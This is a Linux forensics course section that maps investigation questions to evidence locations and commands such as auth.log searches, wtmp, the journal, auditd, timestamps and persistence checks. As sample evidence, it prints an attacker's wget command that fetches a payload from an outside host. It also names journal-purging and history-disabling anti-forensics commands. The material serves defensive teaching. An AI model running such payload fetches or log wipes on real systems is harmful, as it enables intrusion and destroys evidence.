In this section
LX0.2 Where Evidence Lives on Linux
The Linux Evidence Map: A Directory-by-Directory Investigation Reference
Evidence organized by investigation question
Investigators do not think in directory paths. They think in questions. "Who logged in?" "What did they run?" "What did they change?" "How did they persist?" "What did they steal?" Each question maps to specific evidence locations on a Linux system. The investigator who knows these mappings navigates the filesystem with purpose rather than searching randomly.
This subsection organizes the entire Linux evidence landscape by investigation question. Every path listed here is a path you will visit repeatedly throughout this course. By the end of the course, this map will be committed to memory through practice. For now, it is a reference you will return to at the start of every investigation.
Question 1: Who authenticated and when?
# Extract authentication events from the primary log
# Adjust the filename for your distribution (auth.log vs secure)
# Show all successful SSH logins
grep "Accepted" /var/log/auth.log
# Output format: Mar 28 03:17:42 WEBSRV-NGE01 sshd[4521]: Accepted publickey
# for j.morrison from 198.51.100.47 port 52341 ssh2: RSA SHA256:abc123...
# Fields: timestamp | hostname | service[PID] | result | user | source IP | port | method
# Show all failed SSH logins (brute force indicator)
grep "Failed password" /var/log/auth.log | tail -20
# Output: Mar 28 03:15:08 WEBSRV-NGE01 sshd[4519]: Failed password for
# invalid user admin from 203.0.113.55 port 41892 ssh2
# "invalid user" = the username does not exist on this system
# Hundreds of these from the same IP = brute force attack (LX4)
# Show all sudo usage (privilege escalation)
grep "sudo:" /var/log/auth.log
# Output: Mar 28 03:19:11 WEBSRV-NGE01 sudo: a.patel : TTY=pts/0 ;
# PWD=/home/a.patel ; USER=root ; COMMAND=/bin/bash
# This tells you: a.patel ran sudo to get a root shell at 03:19
# Search across rotated logs (compressed with gzip after first rotation)
zgrep "Accepted" /var/log/auth.log*
# Searches auth.log, auth.log.1, auth.log.2.gz, auth.log.3.gz, auth.log.4.gz
# Gives you the full retention window (typically 4-5 weeks on default rotation)# Read login/logout records from wtmp
last -20
# Output: j.morrison pts/0 198.51.100.47 Thu Mar 28 03:17 still logged in
# Fields: user | terminal | source IP | date | time | duration/status
# Read failed login attempts from btmp (requires root)
sudo lastb -20
# Output: admin ssh:notty 203.0.113.55 Thu Mar 28 03:15 - 03:15 (00:00)
# Every line = one failed login attempt. Hundreds = brute force.
# Show the last login time for every user account on the system
lastlog
# Output shows each user and when they last logged in
# Accounts with "Never logged in" that suddenly show recent activity = suspicious
# Service accounts (www-data, mysql) should NEVER show interactive logins# Query SSH events from the systemd journal
journalctl -u sshd --since "2026-03-28" --until "2026-03-29" --no-pager
# -u sshd : filter to SSH daemon events only
# --since/--until : time window (ISO 8601 or "yesterday", "1 hour ago")
# --no-pager : output directly instead of through less
# Check journal retention settings (how far back can you query?)
journalctl --disk-usage
# Shows: Archived and active journals take up 48.0M on disk
cat /etc/systemd/journald.conf | grep -E "SystemMaxUse|MaxRetentionSec"
# SystemMaxUse= : maximum disk space for journal storage
# MaxRetentionSec= : maximum time to retain journal entries# Check bash history for every user — including the investigation metadata
for home in /home/* /root; do
user=$(basename "$home")
hist="$home/.bash_history"
if [ -f "$hist" ]; then
size=$(stat -c '%s' "$hist")
mtime=$(stat -c '%y' "$hist")
lines=$(wc -l < "$hist" 2>/dev/null)
echo "USER=$user SIZE=${size}B MODIFIED=$mtime LINES=$lines"
# Size=0 means truncated. Missing file means deleted. Both = anti-forensics.
# Old mtime (weeks/months ago) with recent login = attacker replaced the file
else
echo "USER=$user HISTORY=MISSING (deleted or never created)"
fi
done
# Check for tmux and screen sessions that might have separate histories
find /home /root -name ".tmux.conf" -o -name ".screenrc" 2>/dev/null
# If tmux/screen is in use, check for socket files:
ls -la /tmp/tmux-* 2>/dev/null # tmux sessions
ls -la /var/run/screen/ 2>/dev/null # screen sessions
# Active sessions may have their own bash history not yet flushed to disk# Search auditd for command execution events during the compromise window
ausearch -m EXECVE --start "03/28/2026" "03:00:00" --end "03/28/2026" "06:00:00"
# Output: type=EXECVE msg=audit(1711601862.447:1284): argc=3
# a0="wget" a1="-q" a2="http://203.0.113.99/payload.elf"
# This records the EXACT command the attacker ran — including the URL
# Check if auditd is running and what rules are configured
systemctl status auditd
auditctl -l
# If auditctl -l shows few or no rules, auditd is running with minimal
# configuration — you have authentication events but NOT command execution.
# This is the most common situation on production servers.
# Check for the specific execve rule that enables command tracking
auditctl -l | grep execve
# If empty: no command execution tracking. Pivot to bash history and /proc.
# If present: full command execution audit available — use ausearch.# Display all four timestamps for a suspicious file
stat /usr/local/bin/svc_monitor
# Output includes:
# Access: 2026-03-28 03:22:15.123456789 +0000 (atime)
# Modify: 2024-06-15 10:00:00.000000000 +0000 (mtime — looks old, suspicious)
# Change: 2026-03-28 03:19:41.987654321 +0000 (ctime — actual creation date)
# Birth: 2026-03-28 03:19:41.987654321 +0000 (crtime — filesystem creation)
# mtime 2024 but ctime 2026 = TIMESTAMP MANIPULATION. The attacker
# created this file on March 28 and backdated the mtime to June 2024.
# Find files modified in the last 24 hours (excluding virtual filesystems)
find / -mtime -1 -type f \
-not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \
-not -path "/dev/*" 2>/dev/null
# Every file in this list was modified in the last 24 hours.
# Cross-reference against the compromise timeline.
# Verify system binary integrity against package manifests
# Debian/Ubuntu:
debsums -c 2>/dev/null # reports changed configuration files
debsums -e 2>/dev/null # reports changed non-config files (more suspicious)
# RHEL/CentOS:
rpm -Va 2>/dev/null # S=size, 5=MD5, T=mtime, M=mode changed
# Any system binary flagged by these commands may have been trojaned# Complete persistence check — run all of these during every investigation
# SSH key persistence (check every user)
for home in /home/* /root; do
keys="$home/.ssh/authorized_keys"
[ -f "$keys" ] && echo "KEYS: $keys ($(wc -l < "$keys") keys, modified: $(stat -c '%y' "$keys"))"
done
# Cron persistence (user and system crontabs)
for user in $(cut -d: -f1 /etc/passwd); do
crontab -u "$user" -l 2>/dev/null | grep -v '^#' | grep -v '^$' && echo " [cron for: $user]"
done
cat /etc/cron.d/* /etc/crontab 2>/dev/null | grep -v '^#' | grep -v '^$'
# Systemd persistence (non-package services)
find /etc/systemd/system/ -name "*.service" -newer /etc/os-release 2>/dev/null
# -newer /etc/os-release = created AFTER the OS was installed = suspicious
# Rootkit indicator
test -f /etc/ld.so.preload && echo "WARNING: ld.so.preload EXISTS — possible rootkit" \
&& cat /etc/ld.so.preload || echo "Clean: no ld.so.preload"Myth: "If auth.log was deleted, we have no authentication evidence."
Reality: Authentication evidence exists in at least five independent sources on most Linux systems: auth.log (plaintext), wtmp (binary session records), btmp (binary failed attempts), lastlog (last login per user), and the systemd journal (checksummed binary). An attacker who truncates auth.log but does not also clear wtmp, btmp, and the journal leaves complete authentication records. Even attackers who clear all four plaintext/binary sources often miss the journal because it requires journalctl --rotate && journalctl --vacuum-time=1s to purge — a sequence that is not intuitive and is itself logged by auditd if running. The multi-source architecture means the attacker must know about and destroy every evidence tier to fully cover their tracks.
Decision points: when to prioritize which evidence source
Not every investigation starts the same way. The evidence source you check first depends on the initial alert:
Alert: suspicious SSH activity — start with auth.log/secure, then wtmp, then journal. Authentication sources tell the story.
Alert: high CPU / unknown process — start with /proc enumeration and ps auxf, then check cron and systemd for persistence. The running process is the evidence.
Alert: data exfiltration / outbound traffic — start with network connections (ss -tnp), then bash history, then auditd file access records. The network state tells you what is leaving right now.
Alert: modified configuration / web defacement — start with filesystem timestamps (find -mtime -1), then package integrity (debsums -e or rpm -Va), then /etc review. The filesystem tells you what changed.
Troubleshooting: evidence that is not where you expect
auth.log is empty or very small: check if syslog is running (systemctl status rsyslog). On RHEL 9+, rsyslog may not be installed — all logging goes through the journal only. Check journalctl instead.
bash_history shows commands from weeks ago but nothing recent: the attacker may have replaced the file with an old copy. Check the file's mtime with stat — if the mtime is recent but the content is old, the file was overwritten.
auditd is running but audit.log has no execve events: auditd is running with default rules (authentication only). The organization did not deploy command execution rules. This is the most common situation. Accept the gap and pivot to alternative sources.
Journal returns no results for the compromise window: check journalctl --disk-usage and the retention settings. The journal may have rotated past the compromise date. On systems with limited disk space, journal retention can be as short as a few days.
Try it yourself
Exercise
On a Linux system, run the complete persistence check from the command block above. Then run stat /etc/passwd and observe all four timestamps. Run last -20 to see recent login sessions. Run journalctl -u sshd -n 20 --no-pager to see SSH events from the journal. Check auditctl -l to see what audit rules are configured. Run test -f /etc/ld.so.preload && echo "WARNING" || echo "Clean" to check for shared library injection. You have just completed the evidence location checklist for a Linux system — the same checklist you will use at the start of every investigation in this course.
Beyond this investigation
This evidence map applies to every module in this course. In LX4 (SSH Brute Force), you will focus on the authentication sources. In LX5 (Web Application Compromise), you will focus on web server logs and filesystem artifacts. In LX7 (Persistence), you will examine every persistence location described here. In LX12 (Memory Forensics), you will recover evidence from memory that the attacker deleted from these filesystem locations. The map does not change — your focus shifts depending on the investigation question.
Check your understanding:
1. An attacker runs unset HISTFILE at the start of their SSH session. What is the effect, and what alternative evidence sources might still record their commands? 2. You find that /etc/ld.so.preload exists and contains /usr/lib/libprocesshider.so. What does this tell you about the state of the system? 3. A file has mtime of 2024-01-15 but ctime of 2026-03-28. What does this discrepancy indicate? 4. Why is wtmp often more complete than auth.log after an attacker has attempted to cover their tracks?
You are investigating a Linux server and discover evidence of both a cryptominer (resource abuse) and an SSH key theft (lateral movement preparation). The cryptominer is consuming 95% CPU and impacting production. Which do you address first?
Address the lateral movement first. The cryptominer is visible, noisy, and contained to this server — it is causing performance impact but not spreading. The SSH key theft is silent, potentially already exploited, and may have given the attacker access to additional servers. Contain the lateral movement risk: rotate the stolen SSH keys, check the target servers for unauthorized access, and apply network restrictions. Then address the cryptominer: kill the process, remove the binary and persistence mechanisms. Prioritizing the noisy but contained threat over the silent but spreading threat is the most common Linux IR prioritization mistake.
Get weekly detection and investigation techniques
KQL queries, detection rules, and investigation methods — the same depth as this course, delivered every Tuesday.
No spam. Unsubscribe anytime. ~2,000 security practitioners.